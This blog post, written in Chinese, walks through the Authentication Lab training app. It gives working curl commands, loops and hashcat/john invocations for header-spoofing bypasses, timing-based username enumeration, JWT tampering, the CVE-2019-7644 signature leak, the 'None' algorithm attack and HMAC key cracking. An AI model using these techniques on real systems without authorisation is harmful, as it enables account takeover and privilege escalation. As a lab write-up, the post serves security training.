认证实验室实战演练:绕过、攻击与JWT破解全解析

本文深入解析多种认证漏洞实战案例,包括IP认证绕过、JWT信息泄露、时序攻击、客户端认证缺陷等,提供详细的技术步骤与工具使用方法,帮助安全测试人员掌握认证机制的攻击与防御技巧。

认证实验室实战演练

认证实验室提供一系列与认证和授权相关的挑战,所有案例均基于真实测试场景或由其他测试人员建议构建。实验室使用Golang编写,代码已开源在GitHub,可自行部署。

IP认证绕过

目标:发现故意的IP认证绕过漏洞。

漏洞原理

开发人员为免登录,设置了基于源IP的认证:若请求IP匹配预设IP(如192.168.0.14),则自动登录。但代码同时检查X-Forwarded-For头,导致攻击者可通过添加该头伪造IP。

攻击步骤

  1. 使用curl添加伪造头:
    1
    
    curl -H "X-Forwarded-For: 192.168.0.14" https://authlab.digi.ninja/Bypass
    
  2. 批量测试IP范围(1-255):
    1
    2
    3
    
    for ip in {1..255}; do
      curl -H "X-Forwarded-For: 192.168.0.$ip" https://authlab.digi.ninja/Bypass -o $ip.out
    done
    
  3. 通过文件大小差异(如14.out较小)或内容对比发现有效IP:
    1
    
    diff 14.out 15.out
    
    输出显示IP 192.168.0.14成功登录用户Alex。

时序攻击

目标:通过响应时间差异识别有效用户名(共4个)。

攻击步骤

  1. 获取用户名列表(男孩和女孩名字):
    1
    2
    
    curl -s https://www.babble.com/pregnancy/1000-most-popular-boy-names/ | grep "<li>" | sed 's/[<\/]*<\/.*//' | sed 's/.*>//' > /tmp/boys
    curl -s https://www.babble.com/pregnancy/1000-most-popular-girl-names/ | grep "<li>" | sed 's/[<\/]*<\/.*//' | sed 's/.*>//' > /tmp/girls
    
  2. 使用Burp Intruder加载列表,攻击用户名字段。
  3. 添加响应时间列(“Response received"和"Response completed”),排序后识别耗时较长的请求(如Zoe、Sarah等)。
  4. 通过Repeater验证时序结果,排除误报(如Marlee因服务器负载导致异常)。

客户端认证绕过

目标:分析JavaScript认证逻辑,逆向获取凭证。

漏洞原理

认证完全在客户端执行:用户名和密码用冒号拼接,与密钥异或后结果与预期值比对。若匹配,则计算密码MD5并重定向。

攻击步骤

  1. 从JavaScript中提取加密字符串和密钥。
  2. 在控制台执行异或操作:
    1
    
    xorString(encrypted, secret) // 返回"alex:supersecret"
    
  3. 使用凭证alex/supersecret登录成功。

JWT信息泄露

目标:解码JWT并利用敏感信息提升权限。

JWT结构分析

Token格式:Header.Payload.Signature,前两部分为Base64编码的JSON。

攻击步骤

  1. 解码示例Token:
    1
    2
    
    echo -n "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9" | base64 -d # 头部:HS256算法
    echo -n "eyJsZXZlbCI6ImFkbWluIiwicGFzc3dvcmQiOiIyYWM5Y2I3ZGMwMmIzYzAwODNlYjcwODk4ZTU0OWI2MyIsInVzZXJuYW1lIjoiam9lIn0" | base64 -d # 载荷:包含密码MD5
    
  2. 通过Google破解MD5哈希(2ac9cb7dc02b3c0083eb70898e549b63)获得密码"password123"。
  3. 使用joe/password123登录并获取管理员权限。

CVE-2019-7644:JWT签名泄露

目标:利用错误信息泄露的签名提升权限。

攻击步骤

  1. 使用初始Token登录(用户Sid,权限user)。
  2. 修改载荷中leveladmin,生成新Token。
  3. 服务器返回错误,但泄露期望签名FO8ZDKSDNVnt_VB3f35_ofEMGFDTrv0dVo8hjGXDtn8
  4. 替换签名后使用新Token登录,获得管理员权限。

User-Agent认证绕过

目标:通过伪造User-Agent字符串访问受保护资源。

攻击步骤

  1. 分析提供的ping脚本,发现使用特定User-Agent:authlab desktop app
  2. 测试不同User-Agent:
    1
    2
    
    curl -A "authlab desktop app" https://authlab.digi.ninja/UserAgentPing # 返回"Pong"
    curl https://authlab.digi.ninja/UserAgentPing # 返回"Not Authenticated"
    
  3. 使用浏览器插件或代理强制设置User-Agent,刷新页面获取秘密信息。

JWT None算法攻击

目标:通过修改JWT算法为"None"绕过签名验证。

攻击步骤(使用Burp插件JOSEPH):

  1. 检测到JWT后,发送请求至Repeater。
  2. 在JWS选项卡中使用"Signature Exclusion"攻击,选择非"none"的变体(如"None")。
  3. 修改载荷(如提升权限),重放请求成功绕过验证。

JWT密钥破解

目标:使用John the Ripper或Hashcat破解JWT的HMAC密钥。

攻击步骤:

  1. 简单密钥(如"hello"):
    1
    2
    
    john --wordlist=rockyou-75.txt token.jwt
    hashcat -m 16500 -a 0 token.jwt rockyou-75.txt
    
  2. 中等密钥(如"Tiger"):
    1
    2
    
    john --rules --wordlist=rockyou-75.txt token.jwt # 使用规则触发大小写变换
    hashcat -m 16500 -a 0 token.jwt rockyou-75.txt --rules-file=d3ad0ne.rule
    
  3. 复杂密钥(如"powerhouse2020"):
    1
    2
    
    john --rules=passphrase-rule2 --wordlist=rockyou-75.txt token.jwt
    hashcat -m 16500 -a 6 token.jwt rockyou-75.txt ?d?d?d?d # 混合模式添加数字后缀
    
  4. 隐蔽密钥:需自定义字典(建议使用CeWL爬取相关词汇)。

开发者需注意:避免在客户端处理认证、谨慎存储JWT敏感信息、移除调试代码。测试人员应检查所有响应细节,利用时序差异和错误信息,并验证不同入口点的认证一致性。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计